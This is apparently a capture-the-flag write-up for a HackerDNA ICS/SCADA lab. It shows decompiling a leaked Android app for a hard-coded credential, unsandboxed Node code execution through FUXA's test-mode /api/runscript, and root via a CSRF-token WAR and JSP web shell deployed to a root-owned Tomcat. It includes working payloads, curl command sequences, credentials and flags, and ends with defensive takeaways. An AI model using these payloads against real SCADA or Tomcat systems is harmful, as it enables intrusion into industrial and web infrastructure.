ROOT

HACKERDNA · ICS/SCADA → CONTAINER ROOT

Compromised 2

A leaked Android app in an open `/backup/` dir hands over the SCADA console → FUXA's "test-mode" script runner is unsandboxed Node → www-data → a root-owned Tomcat in the same container → root.

TARGET	CATEGORY	DIFFICULTY
108.131.136.119	Web · ICS/SCADA	Hard
SURFACE	**RESULT**	**OPERATOR**
FUXA 1881 · Tomcat 9	rooted · user+root	Cody Richard · ssstrickys

TECHNICAL BRIEF · EXECUTIVE SUMMARY

An APK in an open backup directory is the master key to a SCADA box — and the box roots itself.

Category **Web · ICS/SCADA** · Target **FUXA (Node/Express, :1881)** · Privesc **Tomcat-9-as-root, same container** · Result **user + root**

The target runs **FUXA**, an open-source web SCADA/HMI platform, behind an Apache landing page. Directory enumeration on port 80 exposed a `/backup/` listing containing **MyFuxa.apk** — a companion Android app for the console. Decompiling it recovered a **hard-coded operator credential**, XOR-obfuscated with the four-byte key `"send"`, plus the app's own request template revealing FUXA's **test-mode script path**.

That credential unlocks `POST /api/runscript` with `"test": true`, which FUXA compiles as a **real Node module** via `Module.prototype._compile` — genuinely unsandboxed, `require()` works — yielding blind RCE as **www-data**. From there, `ps aux` showed **Tomcat 9 running as root** inside the same supervisord-managed container. A world-readable `tomcat-users.xml`, a localhost-only manager valve, and a CSRF-token dance combine into a WAR deploy issued *from* the www-data shell — the JSP runs as root. Both flags captured.

KILL CHAIN

- **Recon:** ffuf finds open `/backup/` on :80 → pull **MyFuxa.apk**.
- **APK RE:** `XORUtils` + key `"send"` → `webadmin:password@123`; `RequestPayload` leaks the `test:true` runscript path.
- **Unauth disclosure:** `/api/settings` leaks the static web root; `/api/users` leaks the `admin` login.
- **Initial RCE:** test-mode `/api/runscript` → unsandboxed `_compile()` → **www-data**, exfil via a side-channel file in the static dir.
- **Privesc:** root-owned Tomcat → CSRF-token WAR deploy from localhost → JSP as **root**.

#	STAGE	TECHNIQUE	RESULT
1	Recon	ffuf → open `/backup/` → MyFuxa.apk	FOOTHOLD
2	APK reversing	XOR key `send` → creds; `test:true` tell	CREDS
3	Unauth API leaks	`/api/settings` httpStatic + `/api/users`	INFO
4	Initial RCE	test-mode runscript → `Module._compile`	www-data
5	Privilege escalation	root Tomcat → CSRF WAR deploy from localhost	ROOT

01 · RECONNAISSANCE & ATTACK SURFACE

A landing page on :80, a SCADA console on :1881, and a root-owned Tomcat on :8080.

Four listeners, one container. The interesting one is the SCADA app — and the way in is a file the box was never meant to serve.

A service scan of the live host (AWS EC2, `eu-west-1`) shows a small but telling surface: SSH, an Apache landing site, a **Node.js/Express** app on the non-standard port `1881` (FUXA's default), and **Apache Tomcat 9.0.96** on `8080`.

$ NMAP -ST -SV -PN 108.131.136.119 RECON

```
$ nmap --privileged -sT -sV -Pn -p21,22,80,443,1881,502,8080,8443,102,44818,20000 --open -T4
108.131.136.119
# eu-west-1 EC2 — ec2-108-131-136-119.eu-west-1.compute.amazonaws.com
22/tcp    open  ssh     OpenSSH 8.4p1 Debian 5+deb11u5 (protocol 2.0)
80/tcp    open  http    Apache httpd 2.4.65 ((Debian))
1881/tcp  open  http    Node.js Express framework       # <- FUXA web SCADA/HMI
8080/tcp  open  http    Apache Tomcat                    # <- privesc surface; -sV pass (sv.txt)
fingerprinted 9.0.96
# (an earlier -sV pass also caught 21/tcp ftp?, filtered on re-scan)
```

NOTE · IP ROTATION

The lab redeploys on a rotating Elastic IP; recon artifacts captured it at two addresses (`108.131.136.119` live, and `108.130.231.66` during the directory fuzz). Same box, same chain — the flags below are from the `.119` deploy.

Content discovery on :80 — the leaked APK

The Apache root is a static landing page. Fuzzing it with a directory list (and APK/ZIP/backup extensions) returned a single high-value hit — an **open directory listing** at `/backup/` — alongside the usual Apache 403 noise.

$ FFUF — CONTENT DISCOVERY ON :80 (TWO PASSES) RECON

```
$ ffuf -u http://<target>/FUZZ -w raft-medium-directories.txt \
       -e .apk,.zip,.txt,.php,.html -mc 200,301,302,401,403 -fs 10701
backup           [Status: 301, Size: 317]     # <- open directory listing
# a second pass (common.txt) surfaced only the standard Apache 403 noise:
.hta [403]   .htaccess [403]   .htpasswd [403]   server-status [403]
$ curl -s http://<target>/backup/           # index lists MyFuxa.apk
$ wget http://<target>/backup/MyFuxa.apk    # pull it for offline RE
```

FINDING · EXPOSED BACKUP

An internet-facing `/backup/` directory with listing enabled, serving a mobile client build. Companion apps routinely embed service credentials — which makes this the single decisive misconfiguration of the box.

02 · REVERSING MYFUXA.APK

The app carries the credential — XOR-"encrypted" with a four-byte key it also ships.

Obfuscation is not encryption. A repeating-key XOR whose key is a string literal in the same class is a plaintext credential with extra steps.

Unpacking the APK (`com.myfuxa.app`) and decompiling the DEX exposes a class named — with refreshing honesty — `XORUtils`. It holds a hex blob and a key, and a `decryptCredentials()` helper that repeating-key-XORs one against the other:

JADX · COM/MYFUXA/APP/XORUTILS.JAVA — MODULE · CREDS

```
public class XORUtils {
    private static final String ENCRYPTED_CREDENTIALS =
        "04000c051708070a49150f1700120116172 55f5640";
    private static final String KEY = "send";

    public static String decrypt(String encHex, String key) {
        byte[] enc = hexStringToByteArray(encHex);
        byte[] k   = key.getBytes();
        byte[] out = new byte[enc.length];
        for (int i = 0; i < enc.length; i++)
            out[i] = (byte)(enc[i] ^ k[i % k.length]);   // repeating-key XOR
        return new String(out);
    }
}
```

Recovering the credential is a three-line script — decode the hex, XOR against `"send"`, read the ASCII:

$ RECOVER THE HARD-CODED CREDENTIAL — MODULE · CREDS

```
>>> enc = bytes.fromhex("04000c051708070a49150f1700120116172 55f5640")
>>> key = b"send"
>>> bytes(enc[i] ^ key[i % len(key)] for i in range(len(enc))).decode()
'webadmin:password@123'                    # 21 bytes — Basic-Auth pair
```

The app also leaks the exploitation path

Beyond the credential, the app's networking classes hand over the exact primitive. `MainActivity` decrypts the credential and targets `http://127.0.0.1:1881` — the pair is used as HTTP Basic auth against FUXA (confirmed by the working exploit); `ApiService` defines the endpoints; and

`RequestPayload` hard-codes the request shape — including the field that matters most, `test = "true"`:

JADX · REQUESTPAYLOAD.JAVA + APISERVICE.JAVA MODULE · PATH

```
// RequestPayload.java — the exact runscript body the app sends
public static class Script {
    public JsonObject code;
    public String test = "true";        // <- test-mode is the whole game
}
// ApiService.java
@POST("/api/runtime")   Call<Void> runtimeRequest(@Body RequestPayload p);
@POST                  Call<Void> sendRequest(@Url String url, @Body RequestPayload p);
```

THE TELL

The client spells out that FUXA runs scripts with `test:true` and authenticates with `webadmin:password@123`. Reversing the APK didn't just give us creds — it gave us the intended-but-guarded server-side code path to abuse.

03 · FUXA — UNAUTHENTICATED DISCLOSURE

Two unauthenticated endpoints hand over the filesystem layout and the login name.

Before touching the authenticated runscript path, FUXA volunteers the two facts the exploit needs: **where its static files live on disk** (the exfil channel) and **who the real admin is**.

$ FUXA UNAUTHENTICATED INFO LEAKS (:1881) DISCLOSURE

```
$ curl -s http://<target>:1881/api/settings    # no auth required
# leaks server config incl. the Express static root served at "/":
"httpStatic": "/var/www/html/betawebsite/FUXAendpoints/client/dist"

$ curl -s http://<target>:1881/api/users        # no auth required
... "username":"admin" ...                     # leaks the real console login NAME
```

The `httpStatic` path is the keystone of the whole Stage-1 primitive: it is the directory FUXA serves at `/`, so anything written there is immediately retrievable over HTTP. That turns a *blind* code-exec bug into a readable one.

`static root` — `/var/www/html/betawebsite/FUXAendpoints/client/dist` (served at `/`)

`script-runner cred` — `webadmin : password@123` (recovered from the APK; drives the RCE)

`console user` — `admin` (leaked username; FUXA's documented default password is 123456 — not needed for this chain)

WHY THIS MATTERS

An unauthenticated `/api/settings` that returns absolute server paths is an information-disclosure bug in its own right. Here it is not cosmetic — it directly enables output exfiltration for the RCE in the next section.

04 · INITIAL RCE — WWW-DATA

FUXA's test-mode "script runner" compiles your input as a real Node module.

Not a sandbox, not `vm` with restricted globals — `Module.prototype._compile`. `require('child_process')` works.

With the `webadmin:password@123` Basic-Auth header from the APK, `POST /api/runscript` carrying `"test": true` reaches FUXA's test-mode runner (`runtime/scripts/msm.js` → `runTestScript`). That routine compiles the submitted code as a genuine CommonJS module via `Module.prototype._compile` — i.e. fully unsandboxed, with a live `require()`. That is arbitrary code execution as the FUXA service user, **www-data**.

This build returns a fixed `"Script OK: <name>"` placeholder regardless of the script's return value, so the channel is **blind**. The fix is the disclosed static root: write command output into `httpStatic`, then `GET` it back.

FUXA_RCE.PY · BLIND EXEC + SIDE-CHANNEL READ — STAGE 1

```
# js body: shell out, redirect stdout+stderr into the web-served static dir
js = "return require('child_process').execSync(" \
     "CMD + ' > DIST/_NONCE.txt 2>&1').toString();"

POST /api/runscript      # Authorization: Basic <b64 webadmin:password@123>
{"params":{"script":{"name":NONCE,"code":js,"parameters":[],"test":true}}

$ curl -s http://<target>:1881/_NONCE.txt   # read result from httpStatic
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

ROOT CAUSE

A "test" execution mode that maps to `Module._compile` is a full RCE sink behind a single credential. Combined with the APK-leaked password, the guard is decorative. Code execution as www-data is confirmed; the user flag is not yet reachable (owned by `hackerpro`, mode 600) — that comes with root.

05 · PRIVILEGE ESCALATION — WWW-DATA → ROOT

A root-owned Tomcat in the same container, unlocked with a world-readable password.

The escalation never leaves the box: everything is proxied through the Stage-1 www-data shell, because the only client Tomcat's manager trusts is localhost.

Post-exploitation enumeration as www-data shows the layout: a single **supervisord-managed container** where `apache2`, `fuxa`, `tomcat` and `sshd` share one filesystem and network namespace (matching `/tmp/<service>-std{out,err}---supervisor-*.log` names) — and, decisively, **Tomcat's Java process runs as root**.

$ ENUMERATE AS WWW-DATA (VIA STAGE-1 RCE) STAGE 2 · RECON

```
www-data$ ps aux | grep -E 'tomcat|java'
root  ...  /usr/local/tomcat/... org.apache.catalina.startup.Bootstrap start   # Tomcat = root
www-data$ cat /usr/local/tomcat/conf/tomcat-users.xml       # world-readable
<user username="hackerpro" password="P@ssw0rd_12334445555"
      roles="manager-gui,admin-gui"/>   # NOT manager-script → /text API 403s
```

Three Tomcat hardening features have to be defeated *together*, and each one forces the deploy to originate from inside the box:

- **No `manager-script` role** — the scriptable `/manager/text/*` API returns 403; only the HTML `manager-gui` is usable.
- **`RemoteAddrValve`** — the manager app only accepts connections from `127.0.0.1`/`::1`, so the deploy must be issued from localhost — i.e. through the www-data RCE, not the attacker box.
- **`CsrfPreventionFilter`** — a valid `CSRF_NONCE` must be harvested from a real `GET /manager/html` session and replayed on the upload POST with the same cookie.

So the deploy is scripted end-to-end from the www-data shell: build a WAR locally, ship it in over the RCE (base64), `GET /manager/html` with a cookie jar to grab a fresh nonce, then `POST` the WAR to the CSRF-guarded upload endpoint.

TOMCAT_ROOT_RCE.PY · CSRF-TOKEN WAR DEPLOY FROM LOCALHOST STAGE 2 · DEPLOY

```
# all of this runs INSIDE the www-data RCE (localhost-only manager)
$ echo '<b64 war>' | base64 -d > /tmp/pwn2.war
$ curl -s -c /tmp/cj.txt -u hackerpro:P@ssw0rd_12334445555 \
       http://localhost:8080/manager/html > /tmp/mh.html          # session + cookie
$ NONCE=$(grep -oE 'CSRF_NONCE=[A-Za-z0-9]+' /tmp/mh.html | head -1 | cut -d= -f2)
$ curl -s -b /tmp/cj.txt -u hackerpro:P@ssw0rd_12334445555 \
       -F 'deployWar=@/tmp/pwn2.war;type=application/octet-stream' \
       "http://localhost:8080/manager/html/upload?path=/
pwn2&org.apache.catalina.filters.CSRF_NONCE=$NONCE"
```

The deployed WAR's JSP runs as the Tomcat process — **root**. One last parser quirk: Tomcat 9's strict HTTP/1.1 request-line parser (RFC 7230/3986) rejects raw ; and > in the URI, so commands are passed to the JSP via the **POST body**, never the query string.

$ ROOT CODE EXECUTION VIA THE DEPLOYED JSP STAGE 2 · ROOT

```
# issued from the www-data shell → localhost JSP → runs as root
$ curl -s -X POST --data-urlencode 'cmd=id; hostname' \
       http://localhost:8080/pwn2/shell.jsp
uid=0(root) gid=0(root) groups=0(root)
ip-10-0-2-1.eu-west-1.compute.internal
```

WHY LOCALHOST-ONLY ACTUALLY HELPED

The `RemoteAddrValve` that blocks the internet is toothless once you already execute code on the host. The Stage-1 www-data RCE *is* localhost — the manager's trust boundary was drawn at the network edge, but the attacker is already inside it.

06 · IMPACT, FLAGS & LESSONS

Public backup → hard-coded creds → unsandboxed script runner → root-in-container.

With root inside the shared container, both flags are readable. The user flag (`hackerpro:hackerpro`, mode 600) was never reachable from the www-data shell — it required the root JSP.

USER `93a3210e-6474-caf7-8643-8aeb9b16d0bb` /HOME/FLAG-USER.TXT

ROOT `189b7290-d918-1fc6-6f27-eddc6b67c334` /ROOT/FLAG-ROOT.TXT

CHAIN LEDGER

STEP	WEAKNESS	PRIMITIVE	GAINED
1	Open `/backup/` listing on :80	Directory indexing serving a mobile build	MyFuxa.apk
2	Hard-coded creds in APK	Repeating-key XOR (key `send`)	`webadmin:password@123`
3	Unauth `/api/settings`,`/api/users`	Info disclosure (paths + login)	exfil channel + `admin`
4	FUXA test-mode runscript	`Module._compile` — unsandboxed Node	**`www-data RCE`**
5	Tomcat 9 running as root, same container	World-readable creds + CSRF WAR deploy	`root`

DEFENSIVE TAKEAWAYS

- **Never ship secrets in a mobile client.** Client-side XOR "encryption" with an embedded key is obfuscation, not protection — treat any credential in a distributed binary as public.
- **Don't expose backup/build directories.** Disable Apache autoindex and keep `/backup/` off the web root entirely.
- **A "test" script mode is a production RCE.** FUXA's runscript test path maps to `Module._compile`; gate it behind real authorization, and never run the FUXA service as a user that shares a container with a root process.
- **Least privilege for Tomcat.** Run Tomcat as an unprivileged service account; scope `manager-gui` to nobody in production; and don't co-locate a root-owned servlet container with an internet-facing web app in a single namespace.

- **Unauthenticated config disclosure is not cosmetic.** `/api/settings` leaking absolute filesystem paths is what upgraded a blind bug to a readable one.

BOTTOM LINE

Every link in this chain is a default or a convenience left on: an indexed backup dir, a credential baked into an app, a script "test" mode, and a servlet container running as root beside the web tier. Individually minor; composed, they are a clean unauthenticated path from the open internet to container root. **User + root captured.**